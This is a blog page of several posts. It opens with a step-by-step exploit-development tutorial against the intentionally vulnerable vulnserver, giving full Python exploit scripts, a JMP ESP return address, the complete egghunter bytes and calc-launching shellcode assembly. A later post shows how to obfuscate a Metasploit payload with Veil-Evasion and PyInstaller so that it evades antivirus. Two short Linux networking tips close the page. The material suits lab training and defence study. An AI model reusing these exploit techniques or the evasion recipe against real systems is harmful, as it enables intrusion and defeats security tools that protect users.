Apr 292016
 

Preface: Although this blog post is a companion post to a talk I recently gave it does not depend on the talk itself. The idea is to provide some kind of reference and clarification for some technical details.

Generally, the talk – and therefor this post – is about finding and abusing a vulnerability in vulnserver to gain code execution. As this is a quite complex topic, I will try to make every step as clear as possible. However, this is by far not a step-by-step manual: Its goal it to give you valuable hints but still forces you to figure out many things on your own!

Before we start you need the following requirements:

  • A fully patched Windows 7 x64 VM (x86 might work but has not been testet!)
  • A Kali VM (or any other system with Metasploit)
  • Immunity Debugger (For simplicity reasons simply install the bundled Python version – I had troubles getting newer versions to work; Furthermore manually update your PATH so that it encludes C:\Python27)
  • The mona.py Immunity Debugger Extension
  • The Microsoft Developer Command Prompt for VS (as bundled with Visual Studio Express)
  • The vulnerable server application vulnserver (Download at the bottom of the site)
  • The string_to_push.py helper script
  • Our custom shellcodes: download
  • A good text editor like Notepad++
  • A hex editor like HxD

Identifying a vulnerability

The first and often most difficult step is to actually find a vulnerability that can be abused to gain code execution. In this case we will use a technique called Fuzzing. Thereby we simply send unexpected data to the service and observe what happens. As vulnserver’s main goal it so be vulnerable it is quite easy to trigger a fault. For example I wrote the following simple python scripts “1 fuzzer.py” that simply connects to a locally running vulnserver and executes every supported command with a parameter of 10000 A’s.

#!/usr/bin/env python

import socket

IP = '127.0.0.1'
PORT = 6666
BUFFER_SIZE = 1024

CMDS = ["STATS","RTIME","LTIME","SRUN","TRUN","GMON","GDOG","KSTET","GTER","HTER","LTER","KSTAN"]

for cmd in CMDS:

 print "Connecting to "+IP+" on port "+str(PORT)
 print ""

 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((IP, PORT))
 print s.recv(BUFFER_SIZE)

 #print "Supported commands:"
 #s.send("HELP")
 #print s.recv(BUFFER_SIZE)

 print "Attacking "+cmd
 s.send(cmd+" "+(10000*"A"))
 print s.recv(BUFFER_SIZE)
 
 s.close()

Guess what, after launching the fuzzer it did not take very long for vulnserver to crash:
Screen Shot 2016-04-15 at 09.07.13
Based on the output we can see that the last tested command was KSTET. That means we will now focus on what exactly happened. To do so we have to debug vulnserver within Immunity Debugger.

Verifying the Vulnerability

Before we start verifying the vulnerability here are a few tips:

  • If you are using a custom port (6666) like I do, you can configure the process arguments in the Debugger -> Arguments menu
  • I really recommend you to learn some of the keyboard shortcuts (Run and Continue: F9, Restart: CRTL+F2, Stop: ALT+F2)
  • Youtube is a great resource for hands-on Immunity Debugger tipps and trick

To be able to analyse the issue in more detail I updated my fuzzer to only test the KSTET command. Thereby it’s easier to focus on the important things:

#!/usr/bin/env python

import socket

IP = '127.0.0.1'
PORT = 6666
BUFFER_SIZE = 1024

cmd = "KSTET"

print "Connecting to "+IP+" on port "+str(PORT)
print ""

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print s.recv(BUFFER_SIZE)

print "Attacking "+cmd
s.send(cmd+" "+(10000*"A"))
print s.recv(BUFFER_SIZE)
 
s.close()

After that I launched vulnserver within Immunity Debugger and skipped all the default breakpoint (using F9) so that the main server listener process was started. After that I executed our targeted fuzzer script:
Screen Shot 2016-04-15 at 09.24.16

As you can see our fuzzer managed to trigger a stack overflow vulnerability that finally caused EIP to be 41414141 (AAAA). What that means is we triggered a bug in the application that allows us to control what instruction should be executed next. The following image illustrates what has happened.

so

Identifying the Offset

However, right now we are sending 10000 A’s. That means we have no clue which A exactly controls EIP. To identify the offset we can use Metasploit. To do so, fire up your Kali VM and connect to it using SSH. After that run the following command to create a unique pattern:

root@kali:~ /usr/share/metasploit-framework/tools/pattern_create.rb 10000

Screen Shot 2016-04-15 at 09.48.47Now update your fuzzer to send that unique pattern instead of the A’s and again inspect the output in Immunity Debugger:
Screen Shot 2016-04-15 at 09.53.09
As you can see we again triggered some kind of error. However this time we can exactly identify which offset allows us to control the execution flow. To do so we use another Metasploit tool:

root@kali:~ /usr/share/metasploit-framework/tools/pattern_offset.rb 63413363
[*] Exact match at offset 70

This means, that the value at offset 70 is the one that overwrites the return address on the stack and finally ends up in EIP. As EIP contains the address of the next instruction that will be executed we now have to find a suitable address we can jump to.

Gaining Code Execution

Before searching for a suitable address we have to think about our next step: Delivering our payload. Our malicious code also has to be delivered with our exploit. Therefore it makes sense to first inspect the memory layout during the stack overflow in detail so we can find space for it. I updated the fuzzer again so we can learn more about possible attack vectors during our analysis:

#!/usr/bin/env python

import socket

IP = '127.0.0.1'
PORT = 6666
BUFFER_SIZE = 1024

cmd = "KSTET"
pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6A..."

print "Connecting to "+IP+" on port "+str(PORT)
print ""

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print s.recv(BUFFER_SIZE)

print "Attacking "+cmd
s.send(cmd+" "+pattern)
print s.recv(BUFFER_SIZE)
 
s.close()

Now simply rerun vulnserver within Immunity Debugger and launch the above fuzzer. Continue the execution until the process terminates. Very important: Ignore all messageboxes and really continue the execution until the process dies (Debugged program was unable to process exception)! The following screenshots shows the expected results including some remarks:

Screen Shot 2016-04-15 at 11.09.49

We can get quite a lot of important information out of this crash:

  1. Our 70 byte offset is correct
  2. ESP points to our B’s. That means we can use it to place and execute code from there.
  3. However as there are only 20 B’s we only have 20 bytes for our payload…. That means we have to use several stages!
  4. Our 70 byte offset can be reused within our staged exploit

The following image tries to clarify the output even more:

Based on that we will now take the following steps:

  1. Find an “JMP ESP” instruction to jump to => That transfers control to the commands in the memory region where our B’s were and that we control
  2. There we place some custom ASM instructions that transfer control to the beginning of our A’s. Then we have at least 70 bytes for our next payload stage.

Finding an JMP ESP Instruction

As stated above, we first have to find an JMP ESP instruction within the process memory. However there is one more thing to consider: ASLR. ASLR is a security feature that randomizes the addresses of the process memory. That means that we can not simply use any JMP ESP instruction as most of them will have a different memory address after a process or system restart. So in the first step we have check if there are any non-ASLR library loaded and than search for an JMP ESP instruction within them.

Screen Shot 2016-04-15 at 11.51.53

The screenshot above illustrated this process. At first we use the command !mona noaslr to list all modules that don’t use ASLR. The important thing is that we can only use modules that don’t have a NULL (00) character within their address. That mean only essfunc.dll is suitable for our needs.

To check if there are any JMP ESP instructions within essfunc.dll the follwing command can be used: !mona find -type instr -s “jmp esp” -m essfunc.dll (The command has been changed). It lists all found instructions with their corresponding address. The first one at 0x625011AF is already perfectly suitable for us: It contains the correct instruction and its address does not include NULL characters.

We can now again update our exploit with the new destination address. Also note that I replaced the B’s with a single 0xCC. This maps to the assembler command INT 3h, which in turn triggers a breakpoint within our debugger. Thereby we can easily verify if you exploit is working as expected.

#!/usr/bin/env python
import socket

IP = '127.0.0.1'
PORT = 6666
BUFFER_SIZE = 1024
TRIGGER_BREAKPOINT = "\xCC"

cmd = "KSTET"

addr = "\xAF\x11\x50\x62" # JMP ESP in essfunc.dll (0x625011AF)

pattern = 70*"A"+addr+TRIGGER_BREAKPOINT

print "Connecting to "+IP+" on port "+str(PORT)
print ""

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print s.recv(BUFFER_SIZE)

print "Attacking "+cmd
s.send(cmd+" "+pattern)
print s.recv(BUFFER_SIZE)
 
s.close()

If everything worked as expected the breakpoint should be hit and your Immunity Debugger should look similar to the following screenshot:
Screen Shot 2016-04-24 at 20.13.53

Creating a Little Room to Breathe

Although we finally managed to get code execution we only have 20 bytes… That’s not a lot so we need to make ourself a little more room to breathe. To do so we will jump from our initial 20 byte buffer to the much larger 70 byte memory region at the beginning of our buffer. The following color-coded image illustrates the next steps:

so3

As already documented in the image we have to jump from the initial memory region to the 70 byte buffer in front of it. As this buffer starts 74 bytes in front of where ESP currently points to we simply subtract 74 from ESP (SUB ESP,74) and the jump there (JMP ESP). Metasploit’s interactive nasm_shell ASM helper utility helps us to convert this instructions to hex:

root@kali:~ /usr/share/metasploit-framework/tools/nasm_shell.rb 
nasm: sub esp,74;
00000000  83EC4A            sub esp,byte +0x4a
nasm: jmp esp;
00000000  FFE4              jmp esp
nasm: quit

Now the exploit can be updated with this instructions:

#!/usr/bin/env python
import socket

IP = '127.0.0.1'
PORT = 6666
BUFFER_SIZE = 1024
TRIGGER_BREAKPOINT = "\xCC"

cmd = "KSTET"
jmp_esp_addr = "\xAF\x11\x50\x62" # JMP ESP in essfunc.dll (0x625011AF)
sub_esp_74 = "\x83\xEC\x4A" # sub esp,74;
jmp_esp = "\xFF\xE4" # jmp esp

shellcode = TRIGGER_BREAKPOINT

print len(shellcode)
pattern = shellcode+(70-len(shellcode))*"A"+jmp_esp_addr+sub_esp_74+jmp_esp

print "Connecting to "+IP+" on port "+str(PORT)
print ""

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print s.recv(BUFFER_SIZE)

print "Attacking "+cmd
s.send(cmd+" "+pattern)
print s.recv(BUFFER_SIZE)
 
s.close()

After verifying with Immunity Debugger that everything is working, we can lean back and simply use a suitable Metasploit payload: The only problem is, there is none… All Windows payloads are bigger than 70 bytes (/usr/share/metasploit-framework/tools/payload_lengths.rb |grep windows).

The Egg to the Rescue

Luckily this problem has been encountered before an there even is a solution: Egg hunting. The principle is pretty easy: The attacker somehow places a shellcode in the attacked process, prepended with some special string (the egg). After that he triggers the actual vulnerability and drops the egg hunter. This little function starts to search the egg within the process’s memory and if found redirects execution to the shellcode. I really recommend Corelan’s blog post for further details: Exploit writing tutorial part 8 : Win32 Egg Hunting.

Tipp: Before continuing any further change Immunity’s Exception configuration so that Memory access violations are ignored! They are used internally by the egg hunter and make it impossible to work with the debugger if not disabled.

Screen Shot 2016-04-24 at 21.30.03After that, there is only one last problem: How can the shellcode be placed into memory? Well, the good thing is we have access to vulnserver’s sourcecode (vulnserver.c):

...
char *GdogBuf = malloc(1024);
...
} else if (strncmp(RecvBuf, "GDOG ", 5) == 0) {				
	strncpy(GdogBuf, RecvBuf, 1024); // GdogBuf is a connection-wide variable
SendResult = send( Client, "GDOG RUNNING\n", 13, 0 );
...

From there the GDOG command looks interesting: It stores up to 1024 bytes in a connection specific variable. That means the value is kept in memory as long as the connection is not terminated. This is perfectly suitable for our needs. Here’s our update plan:

  1. Connect to vulnserver
  2. Place the actual shellcode – prepended with our egg – into the victim process’s memory using the GDOG command
  3. Trigger the vulnerability within the KSTET implementation while also delivering our egg hunter and overwriting the return address with the address of JMP ESP within essfunc.dll.
  4. After the execution has been forwarded to our small 20 byte buffer, jump to the bigger 70 byte buffer
  5. There start the egg hunter
  6. Win!

Here is the updated two-stage exploit. As you can see it is a little more complex – however, nothing really special. It uses the universal (x86 and Wow64) Corelan Egg hunter documented in their blog post WoW64 Egghunter. It abuses the NtAccessCheckAndAuditAlarm syscall to prevent access violations. To learn more about Egg hunting in general click here.

#!/usr/bin/env python
import socket

###########################################################
# CONFIGURATION
###########################################################
IP = '127.0.0.1'
PORT = 6666
BUFFER_SIZE = 1024
EGG = "\x77\x30\x30\x74" # tag w00t

###########################################################
# ASM Commands
###########################################################

BREAKPOINT = "\xCC"
NOP = "\x90"

# W32, WOW EGGHUNTER form https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
EGGHUNTER =  ""
EGGHUNTER += "\x66\x8c\xcb\x80\xfb\x23\x75\x08\x31\xdb\x53\x53\x53\x53\xb3\xc0"
EGGHUNTER += "\x66\x81\xca\xff\x0f\x42\x52\x80\xfb\xc0\x74\x19\x6a\x02\x58\xcd"
EGGHUNTER += "\x2e\x5a\x3c\x05\x74\xea\xb8"
EGGHUNTER += EGG  
EGGHUNTER += "\x89\xd7\xaf\x75\xe5\xaf\x75\xe2\xff\xe7\x6a\x26\x58\x31\xc9\x89"
EGGHUNTER += "\xe2\x64\xff\x13\x5e\x5a\xeb\xdf"

###########################################################
# Exploit
###########################################################

# shellcode to use:
shellcode = BREAKPOINT 

print ""
print "Exploiting vulnserver (http://tinyurl.com/lwppkof) using "
print " - a stack overflow, "
print " - egg-hunting "
print " - and a custom shellcode"
print ""
print "Egg hunter size: "+str(len(EGGHUNTER))+"/74 bytes"
print "Shellcode size: "+str(len(shellcode+EGG+EGG))+"/1024 bytes"
print ""

print "Connecting to vulnserver "+IP+" on port "+str(PORT)
print ""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print s.recv(BUFFER_SIZE)

# 1) put shellcode into memory!
cmd = "GDOG"

print "Sending shellcode using "+cmd
data=cmd+" "+EGG+EGG+shellcode

s.send(cmd+" "+data)
print s.recv(BUFFER_SIZE)

# 2) sending exploit
cmd = "KSTET"
jmp_esp_addr = "\xAF\x11\x50\x62" # in vulnerable dll
sub_esp_74 = "\x83\xEC\x4A"
jmp_esp = "\xFF\xE4"

data = EGGHUNTER+(70-len(EGGHUNTER))*"A"+jmp_esp_addr+sub_esp_74+jmp_esp
print "Shellcode Padding: "+str(len(EGGHUNTER))
print "Attacking "+cmd

s.send(cmd+" "+data)
	
s.close()

After watching the egg hunter do its job, Immunity Debugger should catch the INT 3h breakpoint. You can inspect the memory in front of the current instruction pointer: It should contain the egg(s) we have placed.

Screen Shot 2016-04-24 at 21.40.46

To summarise: We triggered a buffer overflow, overwrote the return address on the stack, jumped from our small 20 byte buffer to our bigger 70 byte buffer, where we stored our Egg hunter. This Egg hunter then searched the process’s memory for the egg and transferred execution to the instruction after it. Well done!

In the next step we need some kind of shellcode to do some actual “malwary” stuff. As I was unable to get the Metasploit payloads (msfvenom -a x86 –platform windows -p windows/messagebox TEXT=”We are evil” -f python -b “\x00” -v MSF_PAYLOAD) to execute reliably I wrote my own.

Writing the shellcode

However as it is quite difficult to write a shellcode from scratch (especially if you have never done it before) I went with a well documented template, namely NoviceLive’s. Before we start adapting it, let’s define our goal: As this is some kind of “tutorial” we will just execute calc.exe to proof that we gained code execution. However we will take the cool way(R) and use Powershell to do so. Thereby this example can be easily modified to do something else.

Let’s start with discussing the inner workings of the messagebox shellcode. To do so we use the following pseudocode snipped instead of the actual ASM code. This makes it a little easier to understand everything.

function main:
    // Prepare 
    peb = NtCurrentTeb().ProcessEnvironmentBlock // TEB = Thread Environment Block 
    ldr = peb.Ldr; // get list of loaded modules
    kernel32_dll_base = find_kernel32_dll_base() // get kernel32.dll
    get_proc_address = find_get_proc_address(kernel32_dll_base) // get address of GetProcAddress 
    load_library = get_proc_address(kernel32_dll_base,"LoadLibraryA") // find pointer to LoadLibrary
 
    // Do the actual shellcode thing
    user32_dll_base = load_library("user32") // load user32.dll library
    message_box_a = get_proc_address(user32_dll_base,"MessageBoxA") // find pointer to MessageBoxA
    message_box_a(NULL, "Hello World!", NULL, MB_OK) // display "Hello World" msgbox
    
    exit_thread = get_proc_address(kernel32_dll_base,"ExitThread") // find pointer to ExitThread
    exit_thread() // exit thread in a clean way
 
function find_kernel32_dll_base:
    for module in ldr.InInitializationOrderModuleList:
        if module.BaseDllName[6] == "3": // if module.BaseDllName == 'kernel32.dll':
            return module.AddressOfNames // simplified
 
function find_get_proc_address(kernel32_dll_base):
    exportNamePointerTable = kernel32_dll_base.ExportNamePointerTable
    for pointer in exportNamePointerTable: // simplified
        if pointer.name == "GetProcA":
            return pointer.AddressOfFunctions

As soon as the execution of the shellcode is triggered it first has to find all the necessary function addresses to do something useful. NoviceLive’s messagebox shellcode simply opens a messagebox (who would have thought that) so it needs a reference to the corresponding ShowMessageBoxA function. To get this reference it first loads the User32 library (as stated at the bottom of the linked MSDN page) that exports ShowMessageboxA.

Writing Shellcode is quite different from normal programing: You don’t have all the little helpers – like a higher level programming language or a loader that fixes your addresses –  so you have to do all that hand. But that will not stop us!

So let’s start:

  1. As the shellcode is blind in the beginning (in the sense that it does not know anything about the memory layout of the process) it has to obtain some kind of reference. This reference – namely the base address of kernel32 – is extracted from the Thread Environment Block using the loaded modules list (Ldr).
  2. After that all the exported functions of kernel32 are iterated to find the address of GetProcAddressA.
  3. GetProcAddressA is than used to find the memory location of LoadLibraryA
  4. Now the actual shellcode starts: LoadLibraryA is used to ensure that user32 is loaded
  5. GetProcAddressA is then called to obtain the function pointer to MessageBoxA
  6. After manually pushing all the function parameters to the stack MessageBoxA is finally called and a messagebox is shown.
  7. To clean up GetProcAddressA is used again to obtain the pointer for ExitThread, which in turn is then called to exit the current thread.

To test the initially obtain shellcode open the Developer Command Prompt for VS2015 (or whatever version you have installed) and run the build32.cmd from within the messagebox folder (you can download the package with all different shellcodes from here). As shown below you can verify that the shellcode is working by simply running the EXE that was built.

Screen Shot 2016-04-28 at 11.08.21

To finally test the shellcode in the exploit open the previously created EXE within your hex editor of choice (like HxD) and copy the actual shellcode instructions into a text editor (like Notepad++). Then fix it so that it is a valid Python string (using search and replace to replace all spaces with \x should to the trick – don’t forget the first hex char!)

Screen Shot 2016-04-28 at 11.19.34

Then update the exploit with the newly created payload (Attention: payload truncated!):

#!/usr/bin/env python
import socket

###########################################################
# CONFIGURATION
###########################################################
IP = '127.0.0.1'
PORT = 6666
BUFFER_SIZE = 1024
EGG = "\x77\x30\x30\x74" # tag w00t

###########################################################
# ASM Commands
###########################################################

BREAKPOINT = "\xCC"
NOP = "\x90"

# W32, WOW EGGHUNTER form https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
EGGHUNTER =  ""
EGGHUNTER += "\x66\x8c\xcb\x80\xfb\x23\x75\x08\x31\xdb\x53\x53\x53\x53\xb3\xc0"
EGGHUNTER += "\x66\x81\xca\xff\x0f\x42\x52\x80\xfb\xc0\x74\x19\x6a\x02\x58\xcd"
EGGHUNTER += "\x2e\x5a\x3c\x05\x74\xea\xb8"
EGGHUNTER += EGG  
EGGHUNTER += "\x89\xd7\xaf\x75\xe5\xaf\x75\xe2\xff\xe7\x6a\x26\x58\x31\xc9\x89"
EGGHUNTER += "\xe2\x64\xff\x13\x5e\x5a\xeb\xdf"

# Messagebox Shellcode /Tools/shellcoding-master/windows/messagebox/messagebox32.asm 
MSGBOX = "\x33\xC9\x64\x8B\x49\x30\x8B ... ";

###########################################################
# Exploit
###########################################################

# shellcode to use:
shellcode = MSGBOX 

print ""
print "Exploiting vulnserver (http://tinyurl.com/lwppkof) using "
print " - a stack overflow, "
print " - egg-hunting "
print " - and a custom shellcode"
print ""
print "Egg hunter size: "+str(len(EGGHUNTER))+"/74 bytes"
print "Shellcode size: "+str(len(shellcode+EGG+EGG))+"/1024 bytes"
print ""

print "Connecting to vulnserver "+IP+" on port "+str(PORT)
print ""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print s.recv(BUFFER_SIZE)

# 1) put shellcode into memory!
cmd = "GDOG"

print "Sending shellcode using "+cmd
data=cmd+" "+EGG+EGG+shellcode

s.send(cmd+" "+data)
print s.recv(BUFFER_SIZE)

# 2) sending exploit
cmd = "KSTET"
jmp_esp_addr = "\xAF\x11\x50\x62" # in vulnerable dll
sub_esp_74 = "\x83\xEC\x4A"
jmp_esp = "\xFF\xE4"

data = EGGHUNTER+(70-len(EGGHUNTER))*"A"+jmp_esp_addr+sub_esp_74+jmp_esp
print "Shellcode Padding: "+str(len(EGGHUNTER))
print "Attacking "+cmd

s.send(cmd+" "+data)
	
s.close()

Now it’s testing time: Run vulnserver (with or without the debugger) and launch the attack: If everything worked as expected a messagebox should open. (Attention: Sometimes it’s not the front most window!)
Screen Shot 2016-04-28 at 11.29.56

Modifying the Shellcode

In the next step the shellcode will be updated to launch calc instead of showing a boring messagebox. To do so we will use the ShellExecuteA API.

After copying the messagebox example, the first change is to load another library – namely shell32 instead of user32.

Screen Shot 2016-04-28 at 11.43.03

Then use the string_to_push.py script to create the necessary instructions that push the string “Shell32” to the stack. As the length of the string has to be a multiply of 4 a single space has to be added. Then replace the old PUSH commands with the newly created one’s and fix them accordingly by removing the 0x prefix and by appending a h postfix.

Beside that a little trick has to be used to create a valid NULL terminated string out of the PUSH commands that were generated. What needs to be done it that the last character – the space that was added – has to be replaced with a NULL character. However the NULL character can not be used as it would truncate the exploit. To workaround this we use a little math trick: The first push instruction push 2032336ch is changed to push 0132336ch. After that the instruction dec byte ptr [esp + 3h] is added. This instruction decrements the first hex character by one and causes the final value to be 0032336ch. Exactly what we wanted: A NULL terminator!

In the final step the original call to MessageBoxA has to be replaced with a call to ShellExecuteA. Based on the MSDN documentation the following C function call has to be implemented:

ShellExecuteA(NULL, NULL, "powershell.exe", "-Command \"calc.exe\"", NULL, 0);

So beginn by removing the original call to MessageBoxA (should be around line 133 to line 155). Then start by using GetProcAddress to request the address of ShellExecuteA:

;; eax = GetProcAddress(eax, "ShellExecuteA")
push edi
	
;; put "A%00 on stack"
xor ecx, ecx
mov cx, 0141h
push ecx
dec byte ptr [esp + 1h]

push 65747563h ;cute
push 6578456ch ;lExe
push 6c656853h ;Shel
push esp
push eax
call esi

Next push all the required strings to the stack and store their address. Again use the string_to_push.py util to create the initial push instruction. Don’t forget to add and fix the required string NULL characters.

;push powershell.exe to the stack
push 01206578h
dec byte ptr [esp + 3h]
push 652e6c6ch
push 65687372h
push 65776f70h
mov edx, esp ; store the address in edx

;push -Command "calc" to the stack
push 0122636ch
dec byte ptr [esp + 3h]
push 61632220h
push 646e616dh
push 6d6f432dh
mov ecx, esp ; store the address in ecx

As now all prerequisite have been met ShellExecuteA can be invoked:

;; Finally call ShellExecuteA(NULL, NULL, "powershell.exe", "-Command \"calc.exe\"", NULL, 0);
push edi ; Spacing so that is is easier to debug
push edi

push edi ; IsShown = NULL
push edi ; DefDir = NULL

push ecx ; Parameters
push edx ; Filename

push edi ;Operation = default
push edi ;hwnd = NULL
call eax

After all this hard work it is time to test our shellcode. As discussed before use the build32.cmd to compile the ASM instructions and launch the created EXE. If calc.exe is started then everything is correct. Otherwise I recommend to directly debug the application using Immunity Debugger to check exactly what is going wrong.

Then again open the EXE in a hex editor and copy the shellcode to a text editor. There add the required \x prefixes by using search and replace so that a valid Python string is created. After that add it to the exploit script:

#!/usr/bin/env python
import socket

###########################################################
# CONFIGURATION
###########################################################
IP = '127.0.0.1'
PORT = 6666
BUFFER_SIZE = 1024
EGG = "\x77\x30\x30\x74" # tag w00t

###########################################################
# ASM Commands
###########################################################

BREAKPOINT = "\xCC"
NOP = "\x90"

# W32, WOW EGGHUNTER form https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
EGGHUNTER =  ""
EGGHUNTER += "\x66\x8c\xcb\x80\xfb\x23\x75\x08\x31\xdb\x53\x53\x53\x53\xb3\xc0"
EGGHUNTER += "\x66\x81\xca\xff\x0f\x42\x52\x80\xfb\xc0\x74\x19\x6a\x02\x58\xcd"
EGGHUNTER += "\x2e\x5a\x3c\x05\x74\xea\xb8"
EGGHUNTER += EGG  
EGGHUNTER += "\x89\xd7\xaf\x75\xe5\xaf\x75\xe2\xff\xe7\x6a\x26\x58\x31\xc9\x89"
EGGHUNTER += "\xe2\x64\xff\x13\x5e\x5a\xeb\xdf"

# Messagebox Shellcode /Tools/shellcoding-master/windows/messagebox/messagebox32.asm 
RUN_CALC = "\x33\xC9\x64\x8B\x49\..."

###########################################################
# Exploit
###########################################################

# shellcode to use:
shellcode = RUN_CALC 

print ""
print "Exploiting vulnserver (http://tinyurl.com/lwppkof) using "
print " - a stack overflow, "
print " - egg-hunting "
print " - and a custom shellcode"
print ""
print "Egg hunter size: "+str(len(EGGHUNTER))+"/74 bytes"
print "Shellcode size: "+str(len(shellcode+EGG+EGG))+"/1024 bytes"
print ""

print ">> Connecting to vulnserver "+IP+" on port "+str(PORT)
print ""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print s.recv(BUFFER_SIZE)

# 1) put shellcode into memory!
cmd = "GDOG"

print ">> Sending shellcode using "+cmd
data=cmd+" "+EGG+EGG+shellcode

s.send(cmd+" "+data)
print s.recv(BUFFER_SIZE)

# 2) sending exploit
cmd = "KSTET"
jmp_esp_addr = "\xAF\x11\x50\x62" # in vulnerable dll
sub_esp_74 = "\x83\xEC\x4A"
jmp_esp = "\xFF\xE4"

data = EGGHUNTER+(70-len(EGGHUNTER))*"A"+jmp_esp_addr+sub_esp_74+jmp_esp
print ">> Shellcode Padding: "+str(len(EGGHUNTER))
print ">> Attacking "+cmd

s.send(cmd+" "+data)
	
s.close()

Presumably everything was done correctly the exploit should launch calc.exe:

Screen Shot 2016-04-28 at 12.38.07

Well done: You have reached the end of this very very very long post. I hope you will try to exploit or even already exploited the vulnerability on your own. I at least had a lot of fun while solving the puzzles and additionally learned a lot while doing so!

Apr 272015
 

Recently some colleagues and I discussed the possibility to obfuscate known malware samples so that they successfully pass a virus scan. This works because most scanning engines detect threats due to their signature. These signatures in turn are based on the program code of the malware. An attacker can now modify or obfuscate the source code of already known malware and thereby avoids detection.

As we were unsure about the real-world feasability and the ease of use of the available obfuscation tools I decided to test one of them: The Veil-Framework. To do so I set up a fully patched Windows 7 Professional 32Bit VM secured with AVG AntiVirus FREE 2015 with the goal to modify a previously detected and blocked malware so that it sucessfully executes.

Creating the malware

The first thing I had to do was to create a malware for this test. As I wanted a “safe” malware, I decided to use the Metasploit windows/messagebox payload. It only opens a messagebox but it is detected as malicious by many scanners.

To ensure that we use exactly the same source for all further tests I used the msfpayload command line utility to create a Windows application (malware.exe) and to dump the corresponding raw shellcode (malware.raw)

msfpayload windows/messagebox TITLE="Malware" TEXT="Malware executed" ICON="WARNING" X >malware.exe
msfpayload windows/messagebox TITLE="Malware" TEXT="Malware executed" ICON="WARNING" R >malware.raw

As expected, the unobfuscated malware (malware.exe) was immediately detected by the AVG scanning engine:

2015-04-25_21h54_35So let’s move on to modify our malware by …

Obfuscating the Shellcode

To do so we use Veil-Evasion that is part of the Veil-Framework. The following command creates an obfuscated python script that contains the original AES encrypted shellcode with the help of the python/shellcode_inject/aes_encrypt payload.

./Veil-Evasion.py -p python/shellcode_inject/aes_encrypt -c compile_to_exe=no --overwrite -o obfuscated_malware

Before the obfuscation progress starts we have to provide the previously created raw shellcode of our malware:

2015-04-24_22h11_14

Veil-Evasion supports many different programming languages (C, CS, Powershell, Python, …) and methods (shellcode injection, different meterpreter payloads, …) for obfuscation. For an up-to-date list browse the payloads subfolder in the source code repository.

Although the Veil-Framework is capable of directly creating a Windows application I had some problems with the thereto necessary Wine installation. As a workaround I simply copied the obfuscated malware to my Windows computer and used PyInstaller to convert it there to a self contained application.

C:\Temp>C:\Python27\Scripts\pyinstaller.exe --onefile obfuscated_malware.py

In the background PyInstaller analyses the Python script and packs all the necessary modules and libraries including the Python Runtime into a single and redistributable Windows application.

Playing Hide & Seek

Finally I copied the newly obfuscated malware to the test machine and double clicked it. To my pleasure, it passed the on-access virus scan and executed.

2015-04-25_22h29_17

As I was eager to know how well I masked my “malicious” intends I uploaded the file to VirusTotal. Although it was detected by 7 out of 56 scanners this is still a major improvement over the initial 35 detections.

Conclusion

With this demo I clearly showed that it is fairly easy for malware applications to avoid detection from off-the-shelf virus scanners by using obfuscation. This targeted attacks are hard to mitigate and they require special security tools with for example virtualisation and malware analysis capabilities to do so. The good thing is that modified malware will most likely be detected by virus scanners within days after their initial deployments. Additionally more and more engines already detect the obfuscation itself and also block the file.

This all boils down to the fact that virus scanners are only one tool in the ongoing fight for protecting your critical infrastructure.

Jan 272015
 

Just a quick Linux hint today. If you put an unsupported SFP+ module into an Intel Corporation 82599EB 10-Gigabit SFI/SFP+ card the corresponding network interface (pXpY or ethX) is removed from the system. The following messages is logged in “/var/log/messages”:

Nov 19 11:07:03 hostname kernel: ixgbe 0000:0f:00.0: failed to load because an unsupported SFP+ module type was detected.

To restore the interface you have to remove and reload the card’s kernel driver. To do so run the following commands as root. Please note that all other ports using this driver are also temporary unavailable during that time. That means that active transmissions will probably fail.

rmmod ixgbe; modprobe ixgbe

Red Hat features a similar issue in their knowledgebase article #275333.

Jan 202015
 

At a recent Linux video storage installation my colleague Georg and I encountered really strange problems that we had never seen before. Our initial goal was to connect five Windows 7 machines running Avid Media Composer 7 to separate NICs on the new storage system. As it was impossible to install new cables we simply added a second IP address to the LAN connection to ensure correct traffic routing and to fulfil the bandwidth requirements. What we did not know was that this change caused the NetBIOS name resolution and discovery to fail – a not that unusual issue. For me this would have been just a minor annoyance however the client had several workflows that depended on it. Hence we had to revert everything and find another workaround.

In the end we agreed to simply connect all NICs to the client’s unmanaged core switch and assigned a dedicated IP to each of them. The image below gives a simplified network and traffic overview. We believed to have solved the NetBIOS issue while still being able to guarantee the bandwidth. If only we had known!

overview

The first issue we encountered was that we were unable to connect to the internet but only from the new Linux system. We did not investigate this further as the client reported several other issues with their firewall configuration. We proceeded with our performance test that yielded miserable results!

After several hours we finally found out that the Windows clients correctly sent their traffic to their designated NIC on the central Linux storage however the corresponding replies were all sent from one single NIC limiting the total read performance to the bandwidth of this single link. The picture below illustrates the traffic flow we observed.

what really happend

Given this, we found several articles, like “Routing packets back from incoming interface“, describing this behaviour. Linux, by design, considers packages individually for routing purposes. This means that the routing decision is only based on the package itself and not if it’s a response of some sort.

This also explained why we were not able to connect to the internet. Although we had only one interface with a default gateway configured, the entries in the routing table were not correct. What the means is, we sent the Ethernet frame over say NIC0 with the source IP address of NIC1 to the standard gateway. The firewall on it however detected that the MAC of the incoming frame did not match the MAC of NIC1 and thereby suspected an ARP spoofing attack. Logically it was blocked!

Luckily we can use additional custom routing tables to build a workaround. Novell’s KB entry “Reply packets are sent over an unexpected interface” explains in detail how to do it. With that help we could solve our issue and now all NICs get utilized as expected. As we did not know about this behaviour before it was a quite unexpected for us. However from a developer’s point of view this design makes absolute sense.

Jan 122015
 

